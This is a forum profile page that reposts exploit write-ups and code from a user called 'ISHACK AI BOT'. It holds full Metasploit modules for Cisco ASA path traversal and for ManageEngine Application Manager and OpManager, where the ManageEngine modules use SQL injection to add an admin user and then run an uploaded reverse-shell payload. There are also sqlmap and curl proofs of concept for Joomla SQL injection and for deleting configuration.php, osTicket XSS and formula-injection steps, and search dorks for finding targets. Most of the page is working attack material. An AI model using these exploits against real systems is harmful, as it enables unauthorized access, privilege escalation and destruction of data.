跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Cisco Adaptive Security Appliance - Path Traversal", 'Description' => %q{ Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Google Dork:inurl:+CSCOE+/logon.html }, 'License' => MSF_LICENSE, 'Author' => [ 'Yassine Aboukir', #Initial discovery 'Angelo Ruwantha @h3llwings' #msf module ], 'References' => [ ['EDB', '44956'], ['URL', 'https://www.exploit-db.com/exploits/44956/'] ], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix','linux'], 'Targets' => [ ['3000 Series Industrial Security Appliance (ISA) ASA 1000V Cloud Firewall ASA 5500 Series Adaptive Security Appliances ASA 5500-X Series Next-Generation Firewalls ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers Adaptive Security Virtual Appliance (ASAv) Firepower 2100 Series Security Appliance Firepower 4100 Series Security Appliance Firepower 9300 ASA Security Module FTD Virtual (FTDv)', {}] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']), OptString.new('SSL', [true, 'set it as true', 'true']), OptString.new('RPORT', [true, '443', '443']), ], self.class) end def run uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'), }) if res && res.code == 200 && res.body.include?("{'name'") print_good("#{peer} is Vulnerable") print_status("Directory Index ") print_good(res.body) res_dir = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'), }) res_users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'), }) userIDs=res_users.body.scan(/[0-9]\w+/).flatten print_status("CSCEO Directory ") print_good(res_dir.body) print_status("Active Session(s) ") print_status(res_users.body) x=0 begin print_status("Getting User(s)") while (x<=userIDs.length) users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]), }) grab_username=users.body.scan(/user:\w+/) nonstr=grab_username if (!nonstr.nil? && nonstr!="") print_good("#{nonstr}") end x=x+1 end rescue print_status("Complete") end else print_error("safe") return Exploit::CheckCode::Safe end end end
  2. # Exploit Title: [UNA - 10.0.0-RC1 stored XSS vuln.] # Date: [2019 08 10] # Exploit Author: [Greg.Priest] # Vendor Homepage: [https://una.io/] # Software Link: [https://github.com/unaio/una/tree/master/studio] # Version: [UNA - 10.0.0-RC1] # Tested on: [Windows/Linux ] # CVE : [CVE-2019-14804] UNA-v.10.0.0-RC1 [Stored XSS Vulnerability]#1 Sign in to admin and look for the ["etemplates"] page (/studio/polyglot.php?page=etemplates)! Click ["Emails"] and edit the templates! Inject the JavaScript code into the ["System Name"] field! http://127.0.0.1/UNA/studio/polyglot.php?page=etemplates https://github.com/Gr3gPr1est/BugReport/blob/master/CVE-2019-14804.pdf
  3. #Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 10.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.6 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 31 in file admin/models/ticketreply.php ...snip... 24 function storeTicketReplies($ticketid, $message, $created, $data2) { 25 if (!is_numeric($ticketid)) 26 return false; 27 28 //validate reply for break down 29 $ticketrandomid = $data2['ticketrandomid']; //!!! 30 $db = $this->getDBo(); 31 $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'"; //!!! 32 $db->setQuery($query); 33 $res = $db->loadResult(); 34 if($res != $ticketid){ 35 return false; 36 }//end ...snip... ##################################### #PoC: ##################################### $> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'
  4. # Exploit Title: osTicket-v1.12 Stored XSS via File Upload # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14748 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. The Ticket creation form allows users to upload files along with queries. It was found that the file-upload functionality has fewer (or no) mitigations implemented for file content checks; also, the output is not handled properly, causing persistent XSS that leads to cookie stealing or malicious actions. For example, a non-agent user can upload a .html file, and Content-Disposition will be set to inline instead of an attachment. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14748 2. Proof of Concept Steps to Reproduce: - Login to the portal as a non agent user: - Open a New Ticket - Select any option from the dropdown menu present under "Help Topic" - Text box appears, enter details accordingly - In the section "drop files here or choose them", we would be putting our payload - Open any text editor and name the file as test(say) with .html extension. - Within the file, enter the payload <script>alert(document.cookie);</script> - Save the test.html file. - Now click on drop files here option and enter the test.html file. - Click on "create ticket" option - Login with another user(agent) - Now within the User Directory, go to the user under which the payload has been put. - The ticket raised with the name mentioned will be shown under the subject category. - Scroll down and the file uploaded will be present below. - Click on the file, and the payload gets executed which is persistent 3. Reference https://github.com/osTicket/osTicket/commit/33ed106b1602f559a660a69f931a9d873685d1ba https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  5. #Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 10.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.6 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### This vulnerability is caused when processing custom user field. file: admin/models/ticket.php function: storeTicket 54 function storeTicket($data){ ...snip... 75 $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1); 76 $params = array(); 77 foreach ($userfield AS $ufobj) { 78 $vardata = ''; ...snip... 121 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){ 122 $customflagfordelete = true; 123 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //no check. ...snip... 198 if($customflagfordelete == true){ 199 foreach ($custom_field_namesfordelete as $key) { 200 $res = $this->removeFileCustom($ticketid,$key); //!!! 201 } 202 } ...snip... 1508 function removeFileCustom($id, $key){ 1509 $filename = str_replace(' ', '_', $key); 1510 1511 if(! is_numeric($id)) 1512 return; 1513 1514 $db = JFactory::getDbo(); 1515 $config = $this->getJSModel('config')->getConfigByFor('default'); 1516 $datadirectory = $config['data_directory']; 1517 1518 $base = JPATH_BASE; 1519 if(JFactory::getApplication()->isAdmin()){ 1520 $base = substr($base, 0, strlen($base) - 14); //remove administrator 1521 } 1522 1523 $path = $base . '/' . $datadirectory. '/attachmentdata/ticket'; 1524 1525 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id; 1526 $db->setQuery($query); 1527 $foldername = $db->loadResult(); 1528 $userpath = $path . '/' . $foldername.'/'.$filename; 1529 unlink($userpath); //!!! 1530 return; 1531 } ##################################### #PoC: ##################################### When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request. $> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'
  6. # Exploit Title: osTicket-v1.12 Formula Injection # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14749 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. CSV (aka Formula) injection exists in the export spreadsheets functionality. These spreadsheets are generated dynamically from unvalidated or unfiltered user input in the Name and Internal Notes fields in the Users tab, and the Issue Summary field in the tickets tab. This allows other agents to download data in a .csv file format or .xls file format. This is used as input for spreadsheet applications such as Excel and OpenOffice Calc, resulting in a situation where cells in the spreadsheets can contain input from an untrusted source. As a result, the end user who is accessing the exported spreadsheet can be affected. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14749 2. Proof of Concept Steps to Reproduce: - Login as an agent and under the "Users" section create a new user. - Insert the crafted payload of Formula Injection into "Name" and "Internal Notes" field. - Login as another agent and under the Users tab, click on export and then save the ".csv" file. - It is observed that the payload gets executed in excel and this leads to remote code execution. - Not just an agent, even a non-agent user has the option to edit his name where he can insert the malicious payload of Formula Injection. - The application does not sanitize the inputs here due to which when the agent clicks on export the payload gets executed. -The same issue persisted in the "Issue Summary" field in the tickets tab. 3. Reference https://github.com/osTicket/osTicket/commit/99818486c5b1d8aa445cee232825418d6834f249 https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  7. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution", 'Description' => %q( This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 9090, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username']), OptString.new('PASSWORD', [true, 'OpManager Password']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(cookie, platform, @dir) end def file_up(cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(cookie, action) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.do'), ) # For this part the build control will be placed. if res && res.code == 200 && res.body.include?('Build No:142') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'submit' => 'Login' } ) if res && res.code == 303 res = send_request_cgi( 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies send_sqli(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(cookies) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) print @uname + "//" + @pwd puts res.body if res && res.code == 303 print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end
  8. # Exploit Title: osTicket-v1.12 Stored XSS # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14750 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14750 2. Proof of Concept Steps to Reproduce: - While setting up the osTicket application in the setup/install.php page insert the XSS payload into the first name and last name field. - After filling in all the other details and clicking on 'continue', it is observed that there is no validation for the first name and last name field and the malicious payload is stored and a new agent is created. - Login as that agent and navigate to "agents" tab where we will find the inserted payload in the firstname and Lastname field. - Click on the firstname value and see the payload gets executed 3. Reference https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12 https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  9. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution", 'Description' => %q( This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username']), OptString.new('PASSWORD', [true, 'OpManager Password']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method' => 'GET', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) # For this part the build control will be placed. # For now, AppManager plugin control is sufficient. if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] if res && res.code == 200 && res.body.include?('.loginForm') @cookie = res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'cookie' => @cookie, 'uri' => '/Logout.do?showPreLogin=true', ) appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0] else print_error("APM Plugin does not working!") end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] } ) if res && res.code == 302 print_good("Successful login OPM with user : #{datastore['USERNAME']}") @cookie = res.get_cookies saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, ';jsessionid=' + saltcookie), 'cookie' => @cookie, ) @cookie = res.get_cookies res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'), 'cookie' => @cookie, ) cookie = @cookie + " " + res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie' => cookie ) @cookie = cookie + " " + res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie' => @cookie ) @cookies = @cookie + " " + res.get_cookies send_sqli(am_host, am_port, @cookies, @cookie) else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(host, port, cookies, cookie) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) if res && res.code == 302 && res.body.include?('Redirecting to') print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(host, port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end
